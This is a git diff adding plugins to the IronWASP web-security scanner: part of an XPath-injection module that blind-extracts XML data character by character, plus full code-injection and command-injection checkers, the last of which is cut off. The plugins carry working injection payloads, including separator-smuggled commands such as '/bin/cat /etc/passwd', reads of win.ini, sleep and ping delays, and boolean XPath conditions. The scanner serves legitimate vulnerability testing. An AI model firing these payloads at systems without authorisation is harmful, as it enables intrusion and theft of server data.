myarray=info["node_index"] + if info["type"] == "get_node_count": + if len(info["node_index"]) == 1: + left = "count(/*)" + elif len(info["node_index"]) == 2: + left = "count(/*/*)" + else: + left="count(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_range_index=node_range_index + "/*[{0}]".format(myarray[i+1]) + #print "node_range_index" + node_range_index + left=left + node_range_index + "/*)" + #print "left using loop" + str(left) + right = operator + value + " and "+quote+"1"+quote+"="+quote+"1" + elif info["type"] == "get_attr_count": + if len(info["node_index"]) == 1: + left = "count(/*/@*)" + elif len(info["node_index"]) == 2: + left = "count(/*/*[{0}]/@*)".format(myarray[1]) + # elif len(info["node_index"])==3: + # left="count(/*/*[{0}]/*[{1}]/@*)".format(myarray[1],myarray[2]) + else: + left="count(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + #node_array=info["node_index"] + node_range_index=node_range_index + "/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left + node_range_index + "/@*)" + right = operator + value + " and "+quote+"1"+quote+"="+quote+"1" + elif info["type"] == "get_node_name_char": + if len(info["node_index"]) == 1: + left = "substring(name(/*),{0},1)".format(info["char_index"]) + elif len(info["node_index"]) == 2: + left = "substring(name(/*/*),{0},1)".format(info["char_index"]) + # elif len(info["node_index"]) == 3: + # left = "substring(name(/*/*[{0}]/*[{1}]),{2},1)".format(myarray[1],myarray[2],info["char_index"]) + else: + left="substring(name(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_range_index=node_range_index + "/*[{0}]/*[{1}])".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+",{0},1)".format(info["char_index"]) + right = operator + quote + value + elif info["type"] == "get_node_value_char": + if len(info["node_index"]) == 1: + left = "substring((/*/text()),{0},1)".format(info["char_index"]) + elif len(info["node_index"]) == 2: + left = "substring((/*/*/text()),{0},1)".format(info["char_index"]) + # elif len(info["node_index"]) == 3: + # left = "substring((/*/*[{0}]/*[{1}]/text()),{2},1)".format(myarray[1],myarray[2],info["char_index"]) + else: + left="substring((/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_range_index=node_range_index + "/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+"/text()),{0},1)".format(info["char_index"]) + right = operator + quote + value + elif info["type"] == "get_attr_name_char": + if len(info["node_index"]) == 1: + left = "substring(name(/*/@*[{0}]),{1},1)".format(info["attr_index"],info["char_index"]) + elif len(info["node_index"]) == 2: + left = "substring(name(/*/*/@*[{0}]),{1},1)".format(info["attr_index"],info["char_index"]) + # elif len(info["node_index"]) == 3: + # left = "substring(name(/*/*[{0}]/*[{1}]/@*[{2}]),{3},1)".format(myarray[1],myarray[2],info["attr_index"],info["char_index"]) + else: + left="substring(name(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_array=info["node_index"] + node_range_index=node_range_index +"/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+"/@*[{0}]),{1},1)".format(info["attr_index"],info["char_index"]) + right = operator + quote + value + elif info["type"] == "get_attr_value_char": + if len(info["node_index"]) == 1: + left = "substring((/*/@*[{0}]),{1},1)".format(info["attr_index"],info["char_index"]) + elif len(info["node_index"]) == 2: + left = "substring((/*/*[{0}]/@*[{1}]),{2},1)".format(myarray[1],info["attr_index"],info["char_index"]) + # elif len(info["node_index"]) == 3: + # left = "substring((/*/*[{0}]/*[{1}]/@*[{2}]),{3},1)".format(myarray[1],myarray[2],info["attr_index"],info["char_index"]) + else: + left="substring((/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_array=info["node_index"] + node_range_index=node_range_index +"/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+"/@*[{0}]),{1},1)".format(info["attr_index"],info["char_index"]) + right = operator +quote+ value + elif info["type"] == "get_node_value_length": + if len(info["node_index"]) == 1: + left = "string-length(/*/text())" + elif len(info["node_index"]) == 2: + left = "string-length(/*/*/text())" + # elif len(info["node_index"]) == 3: + # left = "string-length(/*/*[{0}]/*[{1}]/text())".format(myarray[1],myarray[2]) + else: + left="string-length(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_range_index=node_range_index +"/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+"/text())" + right = operator + value + " and "+quote+"1"+quote+"="+quote+"1" + elif info["type"] == "get_attr_value_length": + if len(info["node_index"]) == 1: + left = "string-length(/*/@*[{0}])".format(info["attr_index"]) + elif len(info["node_index"]) == 2: + left = "string-length(/*/*[{0}]/@*[{1}])".format(myarray[1],info["attr_index"]) + # elif len(info["node_index"]) == 3: + # left = "string-length(/*/*[{0}]/*[{1}]/@*[{2}])".format(myarray[1],myarray[2],info["attr_index"]) + else: + left="string-length(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_range_index=node_range_index +"/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+"/@*[{0}])".format(info["attr_index"]) + right = operator + value + " and "+quote+"1"+quote+"="+quote+"1" + elif info["type"] == "get_node_name_length": + if len(info["node_index"]) == 1: + left = "string-length(name(/*))" + elif len(info["node_index"]) == 2: + left = "string-length(name(/*/*))" + # elif len(info["node_index"]) == 3: + # left = "string-length(name(/*/*[{0}]/*[{1}]))".format(myarray[1],myarray[2]) + else: + left="string-length(name(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_range_index=node_range_index +"/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+"))" + right = operator + value + " and "+quote+"1"+quote+"="+quote+"1" + elif info["type"] == "get_attr_name_length": + if len(info["node_index"]) == 1: + left = "string-length(name(/*/@*[{0}]))".format(info["attr_index"]) + elif len(info["node_index"]) == 2: + left = "string-length(name(/*/*[{0}]/@*[{1}]))".format(myarray[1],info["attr_index"]) + # elif len(info["node_index"]) == 3: + # left = "string-length(name(/*/*[{0}]/*[{1}]/@*[{2}]))".format(myarray[1],myarray[2],info["attr_index"]) + else: + left="string-length(name(/*" + node_range_index="" + for i in range (len(info["node_index"])-2): + node_range_index=node_range_index +"/*[{0}]/*[{1}]".format(myarray[i+1],myarray[i+2]) + left=left+node_range_index+"/@*[{0}]))".format(info["attr_index"]) + right = operator + value + " and "+quote+"1"+quote+"="+quote+"1" + return prevalue["prefix"] +" " +left + right + + def get_XML_node_and_count(self, root_node_index,prevalue): + if(self.ex.IsBoolWorking()): + # self.console.PrintLine("will now get bool value with double quote and: "+prevalue) + info = {"type":"get_node_name_length", "node_index":root_node_index,"prevalue":prevalue}#set info to get the length of first node name + node_name_length = self.ex.FindNum(self.payload_generator, info, self.f) + #print "Node name length is " + str(node_name_length) + node_name = "" + for i in range(node_name_length): + info = {"type":"get_node_name_char", "node_index":root_node_index, "char_index":i+1,"prevalue":prevalue}#set info to get the character from first node name based on index + node_name = node_name + self.ex.FindChar(self.payload_generator, info, self.f, " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + self.xml = self.xml + "<" + str(node_name) + self.console.Print("<" + str(node_name)+"\t") + info = {"type":"get_attr_count", "node_index":root_node_index,"prevalue":prevalue} + attr_count = self.ex.FindNum(self.payload_generator, info, self.f) + if(attr_count>0): + #print "Attribute count is " + str(attr_count) + for i in range(attr_count): + info = {"type":"get_attr_name_length", "node_index":root_node_index,"attr_index":i+1,"prevalue":prevalue}#set info to get the length of first node name + attr_name_length = self.ex.FindNum(self.payload_generator, info, self.f) + #print "Attribute name length is " + str(attr_name_length) + attr_name = "" + for j in range(attr_name_length): + info = {"type":"get_attr_name_char", "node_index":root_node_index, "char_index":j+1,"attr_index":i+1,"prevalue":prevalue}#set info to get the character from first node name based on index + attr_name = attr_name + self.ex.FindChar(self.payload_generator, info, self.f, " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + info = {"type":"get_attr_value_length", "node_index":root_node_index,"attr_index":i+1,"prevalue":prevalue}#set info to get the length of first node name + attr_value_length = self.ex.FindNum(self.payload_generator, info, self.f) + #print "Attribute value length is " + str(attr_value_length) + attr_value = "" + for j in range(attr_value_length): + info = {"type":"get_attr_value_char", "node_index":root_node_index, "char_index":j+1,"attr_index":i+1,"prevalue":prevalue}#set info to get the character from first node name based on index + attr_value = attr_value + self.ex.FindChar(self.payload_generator, info, self.f, " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + self.xml = self.xml + str(attr_name) + " = " + str(attr_value) + self.console.Print(str(attr_name) + " = " + str(attr_value)) + + #else: + #print "No attribute is present" + + self.xml = self.xml + ">" + self.console.PrintLine(">") + child_array=[1] + node_count_index = root_node_index + child_array + #print "NODE Count Index: "+ str(node_count_index) + info = {"type":"get_node_count", "node_index":node_count_index,"prevalue":prevalue} + node_count = self.ex.FindNum(self.payload_generator, info, self.f) + + if(node_count>0): + #print "Node count is" + str(node_count) + for i in range(node_count): + child_node_index=[i+1] + child_index=root_node_index + child_node_index + #print "child_index: "+ str(child_index) + self.get_XML_node_and_count(child_index,prevalue) + #else: + #print "No child is present" + #print "RRRRoot_node_index" + str(root_node_index) + first_node_value = "" + if(node_count==0): + info = {"type":"get_node_value_length", "node_index":root_node_index,"prevalue":prevalue} #set info to get the length of first node name + first_node_value_length = self.ex.FindNum(self.payload_generator, info, self.f) + #print "Node value length is " + str(first_node_value_length) + + for i in range(first_node_value_length): + info = {"type":"get_node_value_char", "node_index":root_node_index, "char_index":i+1,"prevalue":prevalue}#set info to get the character from first node name based on index + first_node_value = first_node_value + self.ex.FindChar(self.payload_generator, info, self.f, " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") + #print "Node value is " + first_node_value + self.xml = self.xml + first_node_value + "" + self.console.PrintLine(first_node_value + "") + + else: + self.console.PrintLine("[*] Exploitation can't be done") + + def close_console(self, e): + #This method terminates the main thread on which the module is running + self.StopModule() + + + +#This code is executed only once when this new module is loaded in to the memory. +#Create an instance of the this module +m = XmlChor() +#Call the GetInstance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of Modules +Module.Add(m.GetInstance()) + + diff --git a/Iron/bin/Debug/plugins/active/CodeInjection.py b/Iron/bin/Debug/plugins/active/CodeInjection.py new file mode 100644 index 0000000..1aa0057 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/CodeInjection.py @@ -0,0 +1,207 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + + +#Inherit from the base ActivePlugin class +class CodeInjection(ActivePlugin): + def GetInstance(self): + p = CodeInjection() + p.Name = "Code Injection" + p.Description = "Active Plugin to check for CodeInjection vulnerability" + p.Version = "0.4" + return p + + #Check logic based on https://github.com/Zapotek/arachni/blob/master/modules/audit/code_injection.rb of the Arachni project + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForCodeInjection() + + def CheckForCodeInjection(self): + self.scnr.Trace(">>Checking for Code Injection:>") + self.CheckForEchoBasedCodeInjection() + self.CheckForTimeBasedCodeInjection() + self.AnalyzeTestResult() + + def CheckForEchoBasedCodeInjection(self): + #lang_order [php, perl, pyton, asp, ruby] + functions = ['echo ;', 'print ;', 'print ', 'Response.Write()', "puts "] + comments = ["#", "#", "#", "'", "#"] + prefixes = ["", ";", "';", '";'] + + add_num_1 = 0 + add_num_2 = 0 + base_res = self.scnr.BaseResponse + found_rand_nums = False + while(not found_rand_nums): + add_num_1 = Tools.GetRandomNumber(1000000, 10000000) + add_num_2 = Tools.GetRandomNumber(1000000, 10000000) + if base_res.BodyString.count(str(add_num_1 + add_num_2)) == 0: + found_rand_nums = True + + add_str = "{0}+{1}".format(str(add_num_1), str(add_num_2)) + added_str = str(add_num_1 + add_num_2) + + self.scnr.Trace(">>Checking for Echo based Code Injection:>") + for i in range(len(functions)): + for p in prefixes: + inj_comments = ["", comments[i]] + for c in inj_comments: + func_to_execute = functions[i].replace("", add_str) + payload = "{0}{1}{2}".format(p, func_to_execute, c) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.count(added_str) > 0: + self.scnr.ResponseTrace(" ==> >Got {0} in the response, this is the result of executing '{1}'. Indicates Code Injection!>".format(added_str, add_str)) + self.scnr.SetTraceTitle("Echo based Code Injection", 5) + self.AddToTriggers(payload, "The payload in this request contains a code snippet which if executed will add the numbers {0} & {1} and print the result. The code snippet is: {2}".format(add_num_1, add_num_2, func_to_execute), added_str, "This response contains the value {0} which is the sum of the numbers {1} & {2} which were sent in the request.".format(add_num_1 + add_num_2, add_num_1, add_num_2)) + reason = self.GetErrorReason(payload, func_to_execute, add_num_1, add_num_2) + self.reasons.append(reason) + return + else: + self.scnr.ResponseTrace(" ==> Did not get {0} in the response".format(added_str)) + + def CheckForTimeBasedCodeInjection(self): + self.scnr.Trace(">>Checking for Time based Code Injection:>") + #set the time related values for time-based code injection check + self.time = 0 + max_delay = 0 + min_delay = -1 + self.scnr.Trace(">Sending three requests to get a baseline of the response time for time based check:") + base_line_delays = [] + avg_delay = 0 + for i in range(3): + res = self.scnr.Inject() + avg_delay = avg_delay + res.RoundTrip + base_line_delays.append(" {0}) Response time is - {1} ms".format(i+1, res.RoundTrip)) + if res.RoundTrip > max_delay: + max_delay = res.RoundTrip + if res.RoundTrip < min_delay or min_delay == -1: + min_delay = res.RoundTrip + avg_delay = avg_delay / 3 + + self.scnr.Trace(">".join(base_line_delays)) + if min_delay > 5000: + self.time = ((max_delay + min_delay) / 1000) + 1 + else: + self.time = ((max_delay + 5000) / 1000) + 1 + self.scnr.Trace(">Maximum Response Time: {0}ms. Minimum Response Time: {1}ms>Induced Time Delay will be for {2}ms>".format(max_delay, min_delay, self.time * 1000)) + + functions = ['sleep();', 'import time;time.sleep();'] + prefixes = ["", "';", '";'] + comments = ["", "#"] + for f in functions: + for p in prefixes: + for c in comments: + func_to_execute = f.replace("", str(self.time)) + payload = "{0}{1}{2}".format(p, func_to_execute, c) + self.SendAndAnalyzeTimePayload(payload, func_to_execute, avg_delay) + + def SendAndAnalyzeTimePayload(self, payload, func_to_execute, avg_time): + for i in range(2): + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + #we reduce the delay by 3 seconds to make up for the the fact that the ping could complete earlier + if res.RoundTrip >= self.time * 1000: + if i == 0: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Rechecking the delay by sending the same payload again>".format(res.RoundTrip, self.time * 1000)) + else: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Delay observed twice, indicates Code Injection!!>".format(res.RoundTrip, self.time * 1000)) + self.AddToTriggers(payload, "The payload in this request contains a code snippet which if executed will cause the response to be delayed by {0} milliseconds. The code snippet is: {1}".format(self.time * 1000, func_to_execute), "", "It took {0}milliseconds to recieve the response from the server. It took so long because of the {1} millisecond delay caused by the payload.".format(res.RoundTrip, self.time * 1000)) + reason = self.GetBlindReason(payload, func_to_execute, res.RoundTrip, avg_time) + self.reasons.append(reason) + else: + if i == 0: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. No delay observed.".format(res.RoundTrip)) + return + else: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. Delay did not reoccur, initial delay could have been due to network issues.".format(res.RoundTrip)) + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) == 1: + self.ReportCodeInjection(FindingConfidence.Medium) + elif len(self.RequestTriggers) > 1: + self.ReportCodeInjection(FindingConfidence.High) + + def ReportCodeInjection(self, confidence): + self.scnr.SetTraceTitle("Code Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Code Injection Found" + pr.Summary = "Code Injection been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = confidence + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Code Injection is an issue where it is possible to inject and execute code on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Code_Injection>>>" + return Summary + + def GetErrorReason(self, payload, code, num_a, num_b): + #payload - ';print 1234 + 7678;# + #code - print 1234 + 7678 + #num_a - 1234 + #num_b - 7678 + #Reason = "IronWASP sent >';print 1234 + 7678;#> as payload to the application. This payload has a small snippet of code - >print 1234 + 7678>. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small snippet of code - >{1}>. ".format(payload, code) + Reason = Reason + "If this code is executed then >{0}> and >{1}> will be added together and the sum of the addition will be printed back in the response. ".format(num_a, num_b) + #Reason = Reason + "The response that came back from the application after the payload was injected had the value 34345, which is the sum of 1234 & 7678. This indicates that the injected code snippet could have been executed on the server-side." + Reason = Reason + "The response that came back from the application after the payload was injected had the value >{0}>, which is the sum of >{1}> & >{2}>. ".format(num_a + num_b, num_a, num_b) + Reason = Reason + "This indicates that the injected code snippet could have been executed on the server-side." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the two numbers to some other value. Then you can observe if the response contains the sum of two numbers." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + + def GetBlindReason(self, payload, code, delayed_time, normal_time): + #Reason = "IronWASP sent ';sleep(5);# as payload to the application. This payload has a small snippet of code - sleep(5). " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small snippet of code - >{1}>. ".format(payload, code) + Reason = Reason + "If this code is executed then the application will return the response >{0}> milliseconds later than usual. ".format(self.time * 1000) + #Reason = Reason + "After the payload was injected the response from the application took 6783 milliseconds. " + Reason = Reason + "After the payload was injected the response from the application took >{0}> milliseconds. ".format(delayed_time) + #Reason = Reason + "Normally this particular request is processed at around 463 milliseconds. " + Reason = Reason + "Normally this particular request is processed at around >{0}> milliseconds. ".format(normal_time) + Reason = Reason + "This indicates that the injected code snippet could have been executed on the server-side." + + ReasonType = "Blind" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the number of seconds of delay to different values. Then you can observe if the time taken for the response to be returned is affected accordingly." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + + +p = CodeInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/CommandInjection.py b/Iron/bin/Debug/plugins/active/CommandInjection.py new file mode 100644 index 0000000..951566c --- /dev/null +++ b/Iron/bin/Debug/plugins/active/CommandInjection.py @@ -0,0 +1,253 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re +#Inherit from the base ActivePlugin class +class CommandInjection(ActivePlugin): + #Check logic based on osCommanding.py of the W3AF project - http://w3af.sourceforge.net/ + seperators = ['', '&&', '|', ';'] + + #Override the GetInstance method of the base class to return a new instance with details + def GetInstance(self): + p = CommandInjection() + p.Name = "Command Injection" + p.Description = "Active Plugin to check for OS Command Injection vulnerabilities" + p.Version = "0.5" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.base_res = self.scnr.BaseResponse + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForCommandInjection() + self.AnalyzeTestResults() + + def CheckForCommandInjection(self): + self.scnr.Trace(">>Checking for Command Injection:>") + #start the checks + self.prefixes = [""] + if len(self.scnr.PreInjectionParameterValue) > 0: + self.prefixes.append(self.scnr.PreInjectionParameterValue) + self.CheckForEchoBasedCommandInjection() + self.CheckForTimeBasedCommandInjection() + + def CheckForEchoBasedCommandInjection(self): + + self.scnr.Trace(">>Checking for Command Injection by Printing File Contents:>") + for prefix in self.prefixes: + for seperator in self.seperators: + cmd = "/bin/cat /etc/passwd" + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeEchoPayload(payload, "etc/passwd", cmd) + + cmd = "type %SYSTEMROOT%\\win.ini" + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeEchoPayload(payload, "win.ini", cmd) + + cmd = "/bin/cat /etc/passwd" + payload = "{0} `{1}`".format(prefix, cmd) + self.SendAndAnalyzeEchoPayload(payload, "etc/passwd", cmd) + + cmd = "run type %SYSTEMROOT%\\win.ini" + payload = "{0} {1}".format(prefix, cmd) + self.SendAndAnalyzeEchoPayload(payload, "win.ini", cmd) + + def CheckForTimeBasedCommandInjection(self): + self.scnr.Trace(">>Checking for Command Injection by Inducing Time Delay:>") + #set the time related values for time-based command injection check + self.time = 10 + max_delay = 0 + min_delay = -1 + + self.scnr.Trace(">Sending three requests to get a baseline of the response time for time based check:") + base_line_delays = [] + self.avg_delay = 0 + for i in range(3): + res = self.scnr.Inject() + self.avg_delay = self.avg_delay + res.RoundTrip + base_line_delays.append(" {0}) Response time is - {1} ms".format(i+1, res.RoundTrip)) + if res.RoundTrip > max_delay: + max_delay = res.RoundTrip + if res.RoundTrip < min_delay or min_delay == -1: + min_delay = res.RoundTrip + self.avg_delay = self.avg_delay / 3 + + self.scnr.Trace(">".join(base_line_delays)) + if min_delay > 5000: + self.time = ((max_delay + min_delay) / 1000) + 1 + else: + self.time = ((max_delay + 5000) / 1000) + 1 + #buffer to handle the time difference in the ping time and ping number + self.buffer = 3 + self.ping_count = self.time + self.buffer + + self.scnr.Trace(">Maximum Response Time - {0}ms. Minimum Response Time - {1}ms.>Induced Time Delay will be for {2}ms>".format(max_delay, min_delay, self.time * 1000)) + + for prefix in self.prefixes: + for seperator in self.seperators: + cmd = "ping -n {0} localhost".format(self.ping_count) + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "ping -c {0} localhost".format(self.ping_count) + payload = "{0}{1} {2}".format(prefix, seperator, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "/usr/sbin/ping -s localhost 1000 {0} ".format(self.ping_count) + payload = "{0}{1} {2} ".format(prefix, seperator, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "ping -c {0} localhost".format(self.ping_count) + payload = "{0} `{1}`".format(prefix, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + cmd = "run ping -n {0} localhost".format(self.ping_count) + payload = "{0} {1}".format(prefix, cmd) + self.SendAndAnalyzeTimePayload(payload, cmd) + + def SendAndAnalyzeEchoPayload(self, payload, file_echoed, cmd): + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + echoed_file_info = self.GetDownloadedFileInfo(res, file_echoed) + if len(echoed_file_info) > 0: + self.scnr.ResponseTrace(" ==> >Response contains contens of {0}>".format(file_echoed)) + self.AddToTriggers(payload, "The payload in this request contains a system command which if executed will add the numbers prints the contens of the {0} file on the server. The system command is : {1}".format(file_echoed, cmd), echoed_file_info, "This response body contains the contents of the {0} file".format(file_echoed)) + reason = self.GetErrorReason(payload, cmd, file_echoed, echoed_file_info) + self.reasons.append(reason) + else: + self.scnr.ResponseTrace(" ==> No trace of {0}".format(file_echoed)) + + def SendAndAnalyzeTimePayload(self, payload, cmd): + for i in range(2): + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.RoundTrip >= (self.time * 1000): + if i == 0: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Rechecking the delay by sending the same payload again>".format(res.RoundTrip, self.time * 1000)) + else: + self.scnr.ResponseTrace(" ==> >Observed a delay of {0}ms, induced delay was for {1}ms. Delay observed twice, indicates Command Injection!!>".format(res.RoundTrip, self.time * 1000)) + self.AddToTriggers(payload, "The payload in this request contains a system command which if executed will cause the response to be delayed by {0} milliseconds. The system command is: {1}".format(self.time * 1000, cmd), "", "It took {0}milliseconds to recieve the response from the server. It took so long because of the {1} millisecond delay caused by the payload.".format(res.RoundTrip, self.time * 1000)) + reason = self.GetBlindReason(payload, cmd, res.RoundTrip) + self.reasons.append(reason) + else: + if i == 0: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. No delay observed.".format(res.RoundTrip)) + return + else: + self.scnr.ResponseTrace(" ==> Response time was {0}ms. Delay did not reoccur, initial delay could have been due to network issues.".format(res.RoundTrip)) + + def GetDownloadedFileInfo(self, res, file): + bs = res.BodyString.lower() + bbs = self.base_res.BodyString.lower() + + if file == "etc/passwd": + bs_c = bs.count("root:x:0:0:") + bbs_c = bbs.count("root:x:0:0:") + if bs_c > bbs_c: + return "root:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("etc/passwd") > 0: + return "root:x:0:0:" + + bs_c = bs.count("root:!:x:0:0:") + bbs_c = bbs.count("root:!:x:0:0:") + if bs_c > bbs_c: + return "root:!:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("etc/passwd") > 0: + return "root:!:x:0:0:" + + elif file == "win.ini": + bs_c = bs.count("[fonts]") + bbs_c = bbs.count("[fonts]") + if bs_c > bbs_c: + return "[fonts]" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("win.ini") > 0: + return "[fonts]" + + return "" + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def AnalyzeTestResults(self): + if len(self.RequestTriggers) > 0: + self.ReportCommandInjection() + + def ReportCommandInjection(self): + self.scnr.SetTraceTitle("Command Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Command Injection Found" + pr.Summary = "Command Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Command Injection is an issue where it is possible to inject and execute operating system commands on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Command_Injection>>>" + return Summary + + def GetErrorReason(self, payload, cmd, echoed_file, file_content_match): + #payload - ';print 1234 + 7678;# + #code - print 1234 + 7678 + #num_a - 1234 + #num_b - 7678 + + #Reason = "IronWASP sent '; /bin/cat /etc/passwd as payload to the application. This payload has a small system command - /bin/cat /etc/passwd. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small system command - >{1}>. ".format(payload, cmd) + #Reason = Reason + "If this command is executed by the server then the contents of the >/etc/passwd> file will be present in the response. ".format(echoed_file) + Reason = Reason + "If this command is executed by the server then the contents of the >{0}> file will be present in the response. ".format(echoed_file) + #Reason = Reason + "The response that came back from the application after the payload was injected had the text >root:x:0:0:>, which is usually found in >/etc/passwd> files. " + Reason = Reason + "The response that came back from the application after the payload was injected had the text >{0}>, which is usually found in >{1}> files. ".format(file_content_match, echoed_file) + Reason = Reason + "This indicates that the injected command was executed by the server and the contents of the >{0}> file was printed in the response.".format(echoed_file) + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the >{0}> file. ".format(echoed_file) + FalsePositiveCheck = FalsePositiveCheck + "After that you can try changing the file name to something else and see if the server prints those file contents." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, 